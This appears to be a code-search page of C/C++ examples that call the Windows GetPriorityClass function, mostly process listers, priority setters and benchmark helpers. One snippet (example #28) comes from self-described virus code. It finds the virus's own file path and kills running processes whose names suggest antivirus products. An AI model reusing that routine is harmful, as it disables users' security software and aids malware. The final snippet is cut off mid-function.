Пример #1
0
App::App()
{
	clan::OpenGLTarget::set_current();
	quit = false;

	// Set the window
	clan::DisplayWindowDescription desc;
	desc.set_title("ClanLib App Example");
	desc.set_size(clan::Size(1000, 700), true);
	desc.set_allow_resize(true);

	window = clan::DisplayWindow(desc);
	canvas = clan::Canvas(window);

	// Connect the Window close event
	sc.connect(window.sig_window_close(), this, &App::on_window_close);

	// Connect a keyboard handler to on_key_up()
	sc.connect(window.get_keyboard().sig_key_up(), this, &App::on_input_up);

	font = clan::Font("tahoma", 16);

	target_test_run_length_seconds = 0.5f;

	tests_run_length_microseconds = 0;
	num_iterations = 0;
	base_line = 0;

	Tests::Init(testlist);

#ifdef WIN32
	SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
	DWORD dwPriClass = GetPriorityClass(GetCurrentProcess());
	switch (dwPriClass)
	{
		case NORMAL_PRIORITY_CLASS:
			priority_class = "Process Priority: NORMAL";
			break;
		case IDLE_PRIORITY_CLASS:
			priority_class = "Process Priority: IDLE";
			break;
		case HIGH_PRIORITY_CLASS:
			priority_class = "Process Priority: HIGH";
			break;
		case REALTIME_PRIORITY_CLASS:
			priority_class = "Process Priority: REALTIME";
			break;
		case BELOW_NORMAL_PRIORITY_CLASS:
			priority_class = "Process Priority: BELOW NORMAL";
			break;
		case ABOVE_NORMAL_PRIORITY_CLASS:
			priority_class = "Process Priority: ABOVE NORMAL";
			break;
	}
	
#endif

	cb_main = clan::bind_member(this, &App::initial_pause);
	game_time.reset();
}
Пример #2
0
//CMD_TIMER_GUI_VIEW_EXECUTE Viewアプリ(EpgDataCap_Bon.exe)を起動
void CEpgTimerTaskDlg::CmdViewExecute(CMD_STREAM* pCmdParam, CMD_STREAM* pResParam)
{
	OutputDebugString(L"CEpgTimerTaskDlg::CmdViewExecute");
	wstring exeCmd = L"";

	ReadVALUE(&exeCmd, pCmdParam->data, pCmdParam->dataSize, NULL);

	PROCESS_INFORMATION pi;
	STARTUPINFO si;
	ZeroMemory(&si,sizeof(si));
	si.cb=sizeof(si);
	if( exeCmd.find(L".bat") != string::npos ){
		si.wShowWindow |= SW_SHOWMINNOACTIVE;
		si.dwFlags |= STARTF_USESHOWWINDOW;
	}

	BOOL bRet = CreateProcess( NULL, (WCHAR*)exeCmd.c_str(), NULL, NULL, FALSE, GetPriorityClass(GetCurrentProcess()), NULL, NULL, &si, &pi );
	CloseHandle(pi.hThread);
	CloseHandle(pi.hProcess);

	if( bRet == TRUE ){
		pResParam->dataSize = GetVALUESize(pi.dwProcessId);
		pResParam->data = new BYTE[pResParam->dataSize];
		WriteVALUE(pi.dwProcessId, pResParam->data, pResParam->dataSize, NULL);
		pResParam->param = CMD_SUCCESS;
	}else{
		pResParam->param = CMD_ERR;
	}
}
Пример #3
0
void GetProcessList()
{
	PROCESSENTRY32 pe32;
	HANDLE hSnapshot;
	HANDLE hProcess;
	DWORD dwPriorityClass;
	
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	pe32.dwSize = sizeof(PROCESSENTRY32);

	Process32First( hSnapshot, &pe32 );

	SendMessage(hListBox1, LB_RESETCONTENT, 0, 0);

	do {
		dwPriorityClass = 0;
		hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
		dwPriorityClass = GetPriorityClass(hProcess);

		char text[1024];
		swprintf((wchar_t*)text, L"[%d] %s [%s]", pe32.th32ProcessID, pe32.szExeFile, GetPriorityClassName(dwPriorityClass));
		int index = SendMessage(hListBox1, LB_ADDSTRING, 0, (LPARAM)text);
		SendMessage(hListBox1, LB_SETITEMDATA, index, (LPARAM)pe32.th32ProcessID);

	} while (Process32Next(hSnapshot, &pe32));

	CloseHandle(hSnapshot);	
}
Пример #4
0
void CREBUS::changeBuildPriority(_bstr_t project_id, int direction)
{
	ProjectTypeLib::Automation2Ptr project = 
		rebus.getProject(atol((char *) project_id));
	
	_bstr_t process_id = project->Getprocess_id();

	HANDLE hProcess = OpenProcess(PROCESS_SET_INFORMATION | PROCESS_QUERY_INFORMATION, 
		FALSE, atol(process_id));

	if(hProcess)
	{
		const int iClasses = 4;
		DWORD dwPriorities[iClasses] = { IDLE_PRIORITY_CLASS, BELOW_NORMAL_PRIORITY_CLASS, 
										 NORMAL_PRIORITY_CLASS, ABOVE_NORMAL_PRIORITY_CLASS};

		DWORD dwPriorityClass = GetPriorityClass(hProcess);

		for(int i = 0; i < iClasses; i++) {
			if(dwPriorities[i] == dwPriorityClass) {
				if(i + direction >=0 && i + direction < iClasses)
				{
					dwPriorityClass = dwPriorities[i + direction];
					break;
				}
			}
		}

		SetPriorityClass(hProcess, dwPriorityClass);
		CloseHandle(hProcess);
	}
}
Пример #5
0
_bstr_t CREBUS::getBuildPriority(_bstr_t project_id)
{
	ProjectTypeLib::Automation2Ptr project = 
		rebus.getProject(atol((char *) project_id));
	
	_bstr_t process_id = project->Getprocess_id();

	HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, atol(process_id));
	if(hProcess) 
	{
		DWORD dwPriorityClass = GetPriorityClass(hProcess);
		CloseHandle(hProcess);

		switch(dwPriorityClass)
		{
		case ABOVE_NORMAL_PRIORITY_CLASS:
			return "High";
		case NORMAL_PRIORITY_CLASS:
			return "Normal";
		case BELOW_NORMAL_PRIORITY_CLASS:
			return "Low";
		case IDLE_PRIORITY_CLASS:
			return "Idle";
		}
	}
	return "";
}
Пример #6
0
/** 
 * 
 * Returns priority of process
 * 
 * @param       csPriority_o - Process priority as string.
 * @return      bool         - Returns execution status.
 * @exception   Nil
 * @see         Nil
 * @since       1.0
 */
bool Process::ExtractProcessPriority( CString& csPriority_o ) const
{
    const DWORD dwPriorityClass = GetPriorityClass( m_ahmProcess );
    switch( dwPriorityClass )
    {
        case NORMAL_PRIORITY_CLASS:
            csPriority_o = _T( "Priority: Normal" );
            break;
        case ABOVE_NORMAL_PRIORITY_CLASS:
            csPriority_o = _T( "Priority: Above normal" );
            break;
        case BELOW_NORMAL_PRIORITY_CLASS:
            csPriority_o = _T( "Priority: Below normal" );
            break;
        case HIGH_PRIORITY_CLASS:
            csPriority_o = _T( "Priority: High" );
            break;
        case REALTIME_PRIORITY_CLASS:
            csPriority_o = _T( "Priority: Realtime" );
            break;
        case IDLE_PRIORITY_CLASS:
            csPriority_o = _T( "Priority: Idle" );
            break;
        default:
            return false;
    }// End switch

    return true;
}// End GetProcessPriority
Пример #7
0
void ShowMenuProcessPriority(HWND hWnd, DWORD processID)
{
	HANDLE hProcess;
	HMENU hPopupMenu;

	hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, processID);
	if (hProcess == NULL || hWnd == NULL) return;

	saveProcessID = processID;

	DWORD priority = GetPriorityClass(hProcess);
	hPopupMenu = CreatePopupMenu();

	UINT flags;
	for (int i = 0; i < 6; i++)
	{
		flags = MF_BYPOSITION | MF_STRING | (priority == priorityArray[i] ? MF_CHECKED : MF_ENABLED);
		AppendMenu(hPopupMenu, flags, priorityArray[i], szPriorityName[i]);
	}
	SetForegroundWindow(hWnd);

	POINT point;
	GetCursorPos(&point);

	TrackPopupMenu(hPopupMenu, TPM_LEFTALIGN | TPM_RIGHTBUTTON, point.x, point.y, 0, hWnd, NULL);
	DestroyMenu(hPopupMenu);
	CloseHandle(hProcess);
}
Пример #8
0
int dim_get_scheduler_class(int *pclass)
{
	HANDLE hProc;
	DWORD ret;

#ifndef PXI
	hProc = GetCurrentProcess();

	ret = GetPriorityClass(hProc);
	if(ret == 0)
	  return 0;
	if(ret == IDLE_PRIORITY_CLASS)
		*pclass = -1;
/*
	else if(ret == BELOW_NORMAL_PRIORITY_CLASS)
		*pclass = -1;
*/
	else if(ret == NORMAL_PRIORITY_CLASS)
		*pclass = 0;
/*
	else if(ret == ABOVE_NORMAL_PRIORITY_CLASS)
		*pclass = 1;
*/
	else if(ret == HIGH_PRIORITY_CLASS)
		*pclass = 1;
	else if(ret == REALTIME_PRIORITY_CLASS)
		*pclass = 2;
	return 1;
#else
	*pclass = 0;
	return 0;
#endif
}
Пример #9
0
DWORD ListProcess()
{
	PROCESSENTRY32 p;
	HANDLE hProcessSnap;
	HANDLE hProcess;
	DWORD dwPriorityClass;
	p.dwSize = sizeof(PROCESSENTRY32);
	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
	
	if (!Process32First(hProcessSnap, &p))
		return (-1);
	do{
		hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, p.th32ProcessID);
		dwPriorityClass = GetPriorityClass(hProcess);

		_tprintf(TEXT("#### PROCESS %s ####\n"), p.szExeFile);
		printf("\tProcess ID             : %d\n",p.th32ProcessID);
		printf("\tProcess THREAD COUNT   : %d\n", p.cntThreads);
		printf("\tProcess USAGE          : %d\n", p.cntUsage);
		printf("\tProcess PRIORITY BASE  : %d\n", p.pcPriClassBase);
		if (dwPriorityClass)
			printf("\tProcess PRIORITY CLASS : %d\n", dwPriorityClass);
		printf("\n\n");
	} while (Process32Next(hProcessSnap, &p));
	return (1);
}
Пример #10
0
void set_background_priority(int status) {
	DWORD dwError, dwPriClass;

	dwPriClass = GetPriorityClass(GetCurrentProcess());
	_tprintf(TEXT("Current priority class is 0x%x\n"), dwPriClass);

	if (!SetPriorityClass(GetCurrentProcess(), status)) {
		dwError = GetLastError();
		_tprintf(TEXT("Failed to enter background mode (%d)\n"), dwError);
	} else {
		_tprintf(TEXT("succeed to set priority.\n"));
	}
	// Display priority class
	dwPriClass = GetPriorityClass(GetCurrentProcess());
	_tprintf(TEXT("Current priority class is 0x%x\n"), dwPriClass);
}
Пример #11
0
/**
 * Return the OS's scheduling policy and priority for a thread.
 *
 * Query the OS to determine the actual priority of the specified thread.
 * The priority and scheduling policy are stored in the pointers provided.
 * On Windows the "policy" contains the thread's priority class.
 * On POSIX systems it contains the scheduling policy
 * On OS/2 no information is available.  0 is stored in both pointers.
 *
 * @param[in] thread a thread
 * @param[in] policy pointer to location where policy will be stored (non-NULL)
 * @param[in] priority pointer to location where priority will be stored (non-NULL)
 * @return 0 on success or negative value on failure
 */
IDATA VMCALL
hythread_get_os_priority (hythread_t thread, IDATA * policy, IDATA * priority)
{
#if defined(HY_POSIX_THREADS)
  struct sched_param sched_param;
  int osPolicy, rc;
  rc = pthread_getschedparam (thread->handle, &osPolicy, &sched_param);
  if (rc)
    return -1;
  *priority = sched_param.sched_priority;
  *policy = osPolicy;
#else
#if defined(WIN32)
  *priority = GetThreadPriority (thread->handle);
  if (*priority == THREAD_PRIORITY_ERROR_RETURN)
    return -1;

  *policy = GetPriorityClass (thread->handle);
  if (*policy == 0)
    return -1;
#else

#error Unknown platform

#endif /* HY_POSIX_THREADS */
#endif /* HYEPOC32 */

  return 0;
}
Пример #12
0
//---------------------------------------------------------------------------
double __fastcall TfrmAbout::GetCPUSpeed()
{
  int       DelayTime = 200;
  Cardinal  TimerHi;
  Cardinal  TimerLo;

  int PriorityClass = GetPriorityClass(GetCurrentProcess);
  int Priority      = GetThreadPriority(GetCurrentThread);

  SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
  SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_TIME_CRITICAL);

  Sleep(10);

  asm {
    dw  0x310F // rdtsc
    mov TimerLo, eax
    mov TimerHi, EDX
  }

  Sleep(DelayTime);

  asm {
    dw  0x310F // rdtsc
    sub eax, TimerLo
    sbb edx, TimerHi
    mov TimerLo, eax
    mov TimerHi, edx
  }

  SetThreadPriority(GetCurrentThread, Priority);
  SetPriorityClass(GetCurrentProcess, PriorityClass);

  return TimerLo / (1000.0 * DelayTime);
}
Пример #13
0
int getpriority(int which, int who)
{
	unsigned int priorityClass;

	ADM_assert(which == PRIO_PROCESS);
	ADM_assert(who == 0);

	priorityClass = GetPriorityClass(GetCurrentProcess());

	switch (priorityClass)
	{
		case HIGH_PRIORITY_CLASS:
			return -18;
			break;
		case ABOVE_NORMAL_PRIORITY_CLASS:
			return -10;
			break;
		case NORMAL_PRIORITY_CLASS:
			return 0;
			break;
		case BELOW_NORMAL_PRIORITY_CLASS:
			return 10;
			break;
		case IDLE_PRIORITY_CLASS:
			return 18;
			break;
		default:
			ADM_assert(0);
	}
}
Пример #14
0
void CCameraIO::FilterSet( short Slot )
{
	// Determine how far we have to move
	int Pos = Slot - m_FilterPosition;
	if (Pos < 0) Pos += NUM_POSITIONS;

	HANDLE hProcess(0);
	DWORD Class(0);

	if ( m_HighPriority )
	{	// Store current process class and priority
		hProcess = GetCurrentProcess();
		Class = GetPriorityClass ( hProcess );
		SetPriorityClass ( hProcess, REALTIME_PRIORITY_CLASS );
	}

	for (int I = 0; I < Pos; I++)
	{
		// Advance one position
		for (int J = 0; J < NUM_STEPS_PER_FILTER; J++)
		{
			m_FilterStepPos += 1;
			if (m_FilterStepPos >= NUM_STEPS) m_FilterStepPos = 0;
			unsigned char Step = Steps[ m_FilterStepPos ];
		
			AuxOutput( Step );
			Sleep ( STEP_DELAY );
		}
	}

	if ( m_HighPriority ) SetPriorityClass ( hProcess, Class );

	m_FilterPosition = Slot;
}
Пример #15
0
bool GetProcessList()
{
    HANDLE hProcessSnap;
    HANDLE hProcess;
    PROCESSENTRY32 pe32;
    DWORD dwPriorityClass;

    // Take a snapshot of all processes in the system.
    hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
    if( hProcessSnap == INVALID_HANDLE_VALUE )
    {
        fprintf( stderr, "Error: CreateToolhelp32Snapshot (of processes)\n");
        return false;
    }

    // Set the size of the structure before using it.
    pe32.dwSize = sizeof( PROCESSENTRY32 );

    // Retrieve information about the first process,
    // and exit if unsuccessful
    if( !Process32First( hProcessSnap, &pe32 ) )
    {
        fprintf( stderr, "Error: Process32First\n"); // show cause of failure
        CloseHandle( hProcessSnap );          // clean the snapshot object
        return false;
    }

    // Now walk the snapshot of processes, and
    // display information about each process in turn
    do
    {
        fprintf( stderr, "\n=====================================================\n" );
        fwprintf( stderr, L"PROCESS NAME:  %ls\n", pe32.szExeFile );
        fprintf( stderr, "-------------------------------------------------------\n" );

        // Retrieve the priority class.
        dwPriorityClass = 0;
        hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID );
        if( hProcess == NULL )
            fprintf( stderr, "Error: OpenProcess");
        else
        {
            dwPriorityClass = GetPriorityClass( hProcess );
            if( !dwPriorityClass )
                fprintf( stderr, "GetPriorityClass");
            CloseHandle( hProcess );
        }

        fprintf( stderr, "  Process ID        = 0x%08lX\n", pe32.th32ProcessID );
        fprintf( stderr, "  Thread count      = %lu\n",   pe32.cntThreads );
        fprintf( stderr, "  Parent process ID = 0x%08lX\n", pe32.th32ParentProcessID );
        fprintf( stderr, "  Priority base     = %lu\n", pe32.pcPriClassBase );
        if( dwPriorityClass )
            fprintf( stderr, "  Priority class    = %lu\n", dwPriorityClass );

    } while( Process32Next( hProcessSnap, &pe32 ) );

    CloseHandle( hProcessSnap );
    return true;
}
Пример #16
0
int rtsyn_synth_start(){
	int i;
	UINT port;

#ifdef __W32__
	DWORD processPriority;
	processPriority = GetPriorityClass(GetCurrentProcess());
#endif

	
	port=0;
	sleep(2);
	for(port=0;port<rtsyn_portnumber;port++){
		for (i=0;i<MAX_EXBUF;i++){
			IMidiHdr[port][i] = (MIDIHDR *)sIMidiHdr[port][i];
			memset(IMidiHdr[port][i],0,sizeof(MIDIHDR));
			IMidiHdr[port][i]->lpData = sImidiHdr_data[port][i];
			memset((IMidiHdr[port][i]->lpData),0,BUFF_SIZE);
			IMidiHdr[port][i]->dwBufferLength = BUFF_SIZE;
		}
	}
	evbwpoint=0;
	evbrpoint=0;
	mvbuse=0;

	for(port=0;port<rtsyn_portnumber;port++){
		midiInOpen(&hMidiIn[port],portID[port],(DWORD)MidiInProc,(DWORD)port,CALLBACK_FUNCTION);
		for (i=0;i<MAX_EXBUF;i++){
			midiInUnprepareHeader(hMidiIn[port],IMidiHdr[port][i],sizeof(MIDIHDR));
			midiInPrepareHeader(hMidiIn[port],IMidiHdr[port][i],sizeof(MIDIHDR));
			midiInAddBuffer(hMidiIn[port],IMidiHdr[port][i],sizeof(MIDIHDR));
		}
	}

#ifdef __W32__
	// HACK:midiInOpen()でリセットされてしまうため、再設定
	SetPriorityClass(GetCurrentProcess(), processPriority);
#endif
	for(port=0;port<rtsyn_portnumber;port++){
		if(MMSYSERR_NOERROR !=midiInStart(hMidiIn[port])){
			int i;
			for(i=0;i<port;i++){
				midiInStop(hMidiIn[i]);
				midiInReset(hMidiIn[i]);
				midiInClose(hMidiIn[i]);
			}
			goto winmmerror;
		}
	}
	mim_start_time = get_current_calender_time();
	InitializeCriticalSection(&mim_section);
	return ~0;

winmmerror:
	ctl->cmsg(  CMSG_ERROR, VERB_NORMAL, "midiInStarterror\n" );
	return 0;
}
Пример #17
0
/* Fork and exec the program with /dev/null as stdin, stdout and
   stderr.  Returns 0 on success or an error code.  */
gpg_error_t
gpgex_spawn_detached (const char *cmdline)
{
    SECURITY_ATTRIBUTES sec_attr;
    PROCESS_INFORMATION pi =
    {
        NULL,      /* Returns process handle.  */
        0,         /* Returns primary thread handle.  */
        0,         /* Returns pid.  */
        0          /* Returns tid.  */
    };
    STARTUPINFO si;
    int cr_flags;

    TRACE_BEG1 (DEBUG_ASSUAN, "gpgex_spawn_detached", cmdline,
                "cmdline=%s", cmdline);

    /* Prepare security attributes.  */
    memset (&sec_attr, 0, sizeof sec_attr);
    sec_attr.nLength = sizeof sec_attr;
    sec_attr.bInheritHandle = FALSE;

    /* Start the process.  Note that we can't run the PREEXEC function
       because this would change our own environment. */
    memset (&si, 0, sizeof si);
    si.cb = sizeof (si);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = DEBUG_W32_SPAWN ? SW_SHOW : SW_MINIMIZE;

    cr_flags = (CREATE_DEFAULT_ERROR_MODE
                | GetPriorityClass (GetCurrentProcess ())
                | CREATE_NEW_PROCESS_GROUP
                | DETACHED_PROCESS);

    if (!CreateProcess (NULL,          /* pgmname; Program to start.  */
                        (char *) cmdline, /* Command line arguments.  */
                        &sec_attr,     /* Process security attributes.  */
                        &sec_attr,     /* Thread security attributes.  */
                        TRUE,          /* Inherit handles.  */
                        cr_flags,      /* Creation flags.  */
                        NULL,          /* Environment.  */
                        NULL,          /* Use current drive/directory.  */
                        &si,           /* Startup information. */
                        &pi            /* Returns process information.  */
                       ))
    {
        (void) TRACE_LOG1 ("CreateProcess failed: %i\n", GetLastError ());
        return gpg_error (GPG_ERR_GENERAL);
    }

    /* Process has been created suspended; resume it now. */
    CloseHandle (pi.hThread);
    CloseHandle (pi.hProcess);

    return 0;
}
Пример #18
0
UINT _APICALL LptDrvOpen(UINT LptNum, DWORD lParam2) {
    if (LptNum >= PortCount) return FALSE;
    PortCurrent = LptNum;
    /* Try to set process priority */
    oldpriority = GetPriorityClass(GetCurrentProcess());
    if (!SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS)) {
        oldpriority = 0;
    }
    return TRUE;
}
Пример #19
0
int setpriority(
		int which,
		int who,
		int prio
		)
{
	BOOL success;
	DWORD prio_class;

	if (PRIO_PROCESS != which || who || NTP_PRIO != prio) {
		DPRINTF(1,("windows setpriority() clone needs work.\n"));
	}

	prio_class = GetPriorityClass(GetCurrentProcess());
	
	if (HIGH_PRIORITY_CLASS == prio_class ||
	    REALTIME_PRIORITY_CLASS == prio_class)
		return 0;

	success = SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);

	if (!success) {
		msyslog(LOG_ERR, "Unable to raise priority: %m"); 
		errno = EPERM;
		return -1;
	}

	prio_class = GetPriorityClass(GetCurrentProcess());

	if (REALTIME_PRIORITY_CLASS == prio_class)
		msyslog(LOG_INFO, "Raised to realtime priority class");
	else if (HIGH_PRIORITY_CLASS == prio_class)
		msyslog(LOG_ERR,  "Raised to high priority class, realtime "
				  "requires Increase Scheduling Priority "
				  "privilege (enabled with secpol.msc).");
	else
		msyslog(LOG_ERR,  "Unexpected process priority class %d",
				 prio_class);

	return 0; 
}
ProcessList QtProcessFinder::search() {
	ProcessList list;

	HANDLE hProcessSnap;
	HANDLE hProcess;
	PROCESSENTRY32 pe32;
	DWORD dwPriorityClass;

	// Take a snapshot of all processes in the system.
	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hProcessSnap == INVALID_HANDLE_VALUE) {
		qFatal("CreateToolhelp32Snapshot (of processes)");
		return list;
	}

	// Set the size of the structure before using it.
	pe32.dwSize = sizeof(PROCESSENTRY32);

	// Retrieve information about the first process,
	// and exit if unsuccessful
	if (!Process32First(hProcessSnap, &pe32)) {
		qFatal("Process32First");  // show cause of failure
		CloseHandle(hProcessSnap); // clean the snapshot object
		return list;
	}

	// Now walk the snapshot of processes, and
	// display information about each process in turn
	do {
		// Skip the system idle process
		if (pe32.th32ProcessID == 0) continue;

		// Retrieve the priority class.
		dwPriorityClass = 0;
		hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
		if (hProcess == NULL)
			qDebug("OpenProcess");
		else {
			dwPriorityClass = GetPriorityClass(hProcess);
			if (!dwPriorityClass) qDebug("GetPriorityClass");
			CloseHandle(hProcess);
		}

		// List the modules and threads associated with this process
		if (processUsesQt(pe32.th32ProcessID)) {
			list.push_back(Process(pe32.th32ProcessID, QString::fromStdWString(pe32.szExeFile)));
		}

	} while (Process32Next(hProcessSnap, &pe32));

	CloseHandle(hProcessSnap);
	return list;
}
Пример #21
0
void CServerApp::SetPriority( int nStateFlags )
{
#ifdef _WIN32
    int dwPriorityClass = State2Priority( nStateFlags );
    list<HANDLE>::iterator iter = m_lstProcHandles.begin();
    while( iter!=m_lstProcHandles.end() ) {
        HANDLE hProc = *iter++;
        if( GetPriorityClass(hProc)!=dwPriorityClass ) {
            SetPriorityClass( hProc, dwPriorityClass );
        }
    }
#endif
}
Пример #22
0
CAMLprim value w_create_process_native
(value prog, value wprog, value wargs, value fd1, value fd2, value fd3)
{
  int res, flags;
  PROCESS_INFORMATION pi;
  STARTUPINFOW si;
  wchar_t fullname [MAX_PATH];
  HANDLE h;
  CAMLparam5(wprog, wargs, fd1, fd2, fd3);

  res = SearchPathW (NULL, (LPCWSTR) String_val(wprog), L".exe",
		     MAX_PATH, fullname, NULL);
  if (res == 0) {
    win32_maperr (GetLastError ());
    uerror("create_process", prog);
  }

  ZeroMemory(&si, sizeof(STARTUPINFO));

  si.cb = sizeof(STARTUPINFO);
  si.dwFlags = STARTF_USESTDHANDLES;
  si.hStdInput = Handle_val(fd1);
  si.hStdOutput = Handle_val(fd2);
  si.hStdError = Handle_val(fd3);

  flags = GetPriorityClass (GetCurrentProcess ());
  /*
  h = CreateFile ("CONOUT$", GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
                  OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (h != INVALID_HANDLE_VALUE)
    CloseHandle (h);
  else {
    flags |= CREATE_NEW_CONSOLE;
    //    si.dwFlags |= STARTF_USESHOWWINDOW;
    //    si.wShowWindow = SW_MINIMIZE;
  }
  */

  res = CreateProcessW (fullname, (LPWSTR) String_val(wargs),
			NULL, NULL, TRUE, flags,
		        NULL, NULL, &si, &pi);
  if (res == 0) {
    win32_maperr (GetLastError ());
    uerror("create_process", prog);
  }

  CloseHandle (pi.hThread);
  CAMLreturn (Val_long (pi.hProcess));
}
Пример #23
0
ProcessPriority HProcess::GetPriority() const
{
    DWord dwWinPriority = GetPriorityClass( m_hThreadingObject );
    DebugAssert( dwWinPriority != 0 );

    switch( dwWinPriority ) {
        case IDLE_PRIORITY_CLASS:         return PROCESS_PRIORITY_IDLETIME;
        case BELOW_NORMAL_PRIORITY_CLASS: return PROCESS_PRIORITY_LOW;
        case NORMAL_PRIORITY_CLASS:       return PROCESS_PRIORITY_DEFAULT;
        case ABOVE_NORMAL_PRIORITY_CLASS: return PROCESS_PRIORITY_HIGH;
        case HIGH_PRIORITY_CLASS:         return PROCESS_PRIORITY_VERYHIGH;
        case REALTIME_PRIORITY_CLASS:     return PROCESS_PRIORITY_REALTIME;
        default: DebugAssert( false ); return PROCESS_PRIORITY_DEFAULT;
    }
}
Пример #24
0
int pthread_getschedparam(pthread_t thread, int* policy, struct sched_param* param)
{
	if(policy)
	{
		DWORD pc = GetPriorityClass(GetCurrentProcess());
		*policy = (pc >= HIGH_PRIORITY_CLASS)? SCHED_FIFO : SCHED_RR;
	}
	if(param)
	{
		const HANDLE hThread = HANDLE_from_pthread(thread);
		param->sched_priority = GetThreadPriority(hThread);
	}

	return 0;
}
Пример #25
0
void dDecompress::OnCbnSelchangeCpriority()
{
	DWORD prio[] = {HIGH_PRIORITY_CLASS, ABOVE_NORMAL_PRIORITY_CLASS, NORMAL_PRIORITY_CLASS, BELOW_NORMAL_PRIORITY_CLASS, IDLE_PRIORITY_CLASS};
	HANDLE hProc = GetCurrentProcess();

	if(!SetPriorityClass(hProc, prio[cPriority.GetCurSel()])){
		DWORD cPrio = GetPriorityClass(hProc);
		for(int i=0;i<sizeof(prio)/sizeof(prio[0]);i++){
			if(cPrio == prio[i]){
				cPriority.SetCurSel(i);
				break;
			}
		}
		MessageBox(loadString(IDS_CANT_CHANGE_PRIORITY), "KGB Archiver");
	}
}
Пример #26
0
void dCompress::OnShowWindow(BOOL bShow, UINT nStatus)
{
	SetIcon(AfxGetApp()->LoadIcon(IDR_MAINFRAME), true);
	CDialog::OnShowWindow(bShow, nStatus);

	//cPriority.SetCurSel(2);
	DWORD prio[] = {HIGH_PRIORITY_CLASS, ABOVE_NORMAL_PRIORITY_CLASS, NORMAL_PRIORITY_CLASS, BELOW_NORMAL_PRIORITY_CLASS, IDLE_PRIORITY_CLASS};
	HANDLE hProc = GetCurrentProcess();

	DWORD cPrio = GetPriorityClass(hProc);
	for(int i=0;i<sizeof(prio)/sizeof(prio[0]);i++){
		if(cPrio == prio[i]){
			cPriority.SetCurSel(i);
			break;
		}
	}
}
Пример #27
0
void PrintProcessNameAndID(DWORD processID, bool theFirst)
{
	TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
	HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
		PROCESS_VM_READ,
		FALSE, processID);

	if (NULL != hProcess)
	{
		HMODULE hMod;
		DWORD cbNeeded;

		if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),
			&cbNeeded))
		{
			GetModuleBaseName(hProcess, hMod, szProcessName,
				sizeof(szProcessName) / sizeof(TCHAR));
		}
	}
	
	if (_tccmp(szProcessName, L"<unknown>"))
	{	
		if (theFirst)
		{
			twar[i] = processID;
			i++;
		}
		switch (GetPriorityClass(hProcess))	
		{
		case IDLE_PRIORITY_CLASS:
			ListBox_AddString(hWndListOne, _tcscat(szProcessName,L" - IDLE"));
			break;
		case NORMAL_PRIORITY_CLASS:
			ListBox_AddString(hWndListOne, _tcscat(szProcessName, L" - Normal"));
			break;
		case REALTIME_PRIORITY_CLASS:
			ListBox_AddString(hWndListOne, _tcscat(szProcessName, L" - Realtime") );
			break;
		case HIGH_PRIORITY_CLASS:
			ListBox_AddString(hWndListOne, _tcscat(szProcessName, L" - High"));
			break;
		}
	}

	CloseHandle(hProcess);
}
BOOL processes() //Various stuff with processes
{ 
    HANDLE         hProcessSnap = NULL; 
    BOOL           bRet      = FALSE; 
    PROCESSENTRY32 pe32      = {0}; 
	
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 
    if (hProcessSnap == (HANDLE)-1) 
        return (FALSE); 
    pe32.dwSize = sizeof(PROCESSENTRY32); 
    if (Process32First(hProcessSnap, &pe32)) 
    { 
        DWORD         dwPriorityClass; 
        BOOL          bGotModule = FALSE; 
        MODULEENTRY32 me32       = {0}; 
        do 
        { 
            bGotModule = GetProcessModule(pe32.th32ProcessID, 
                pe32.th32ModuleID, &me32, sizeof(MODULEENTRY32)); 
            if (bGotModule) 
            { 
                HANDLE hProcess; 
                hProcess = OpenProcess (PROCESS_ALL_ACCESS, 
                    FALSE, pe32.th32ProcessID); 
                dwPriorityClass = GetPriorityClass (hProcess); 
				//Get the virus' filename
				if (me32.th32ProcessID==ProcessId) strcpy(filename,me32.szExePath);
												
				//Anti AVs
				if (strstr(me32.szModule,"AV")!=0 || strstr(me32.szModule,"F-")!=0 || strstr(me32.szModule,"av")!=0) {
					TerminateProcess(hProcess,0); 
					}
                
				//Close the handle
				CloseHandle (hProcess); 
            }
        } 
        while (Process32Next(hProcessSnap, &pe32)); 
        bRet = TRUE; 
    } 
    else 
        bRet = FALSE;
    CloseHandle (hProcessSnap); 
    return (bRet); 
} 
Пример #29
0
/**
<summary>Iterate through the list of processes currently running and for each process,
call the <i>ProcessAction</i> function given as parameter.</summary>
<param name="DoProcessAction"></param>
<returns>Returns TRUE if the function completed successfully, returns
FALSE otherwise.</returns>
<see cref="ProcessAction">ProcessAction</see>
<seealso cref="PrintProcessInfo">PrintProcessInfo function</seealso>
*/
BOOL GetProcessList( ProcessAction DoProcessAction )
{
  HANDLE hProcessSnap;
  HANDLE hProcess;
  PROCESSENTRY32 pe32;
  DWORD dwPriorityClass;

  // Take a snapshot of all processes in the system.
  hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
  if( hProcessSnap == INVALID_HANDLE_VALUE )
  {
    return( FALSE );
  }

  // Set the size of the structure before using it.
  pe32.dwSize = sizeof( PROCESSENTRY32 );

  // Retrieve information about the first process,
  // and exit if unsuccessful
  if( !Process32First( hProcessSnap, &pe32 ) )
  {
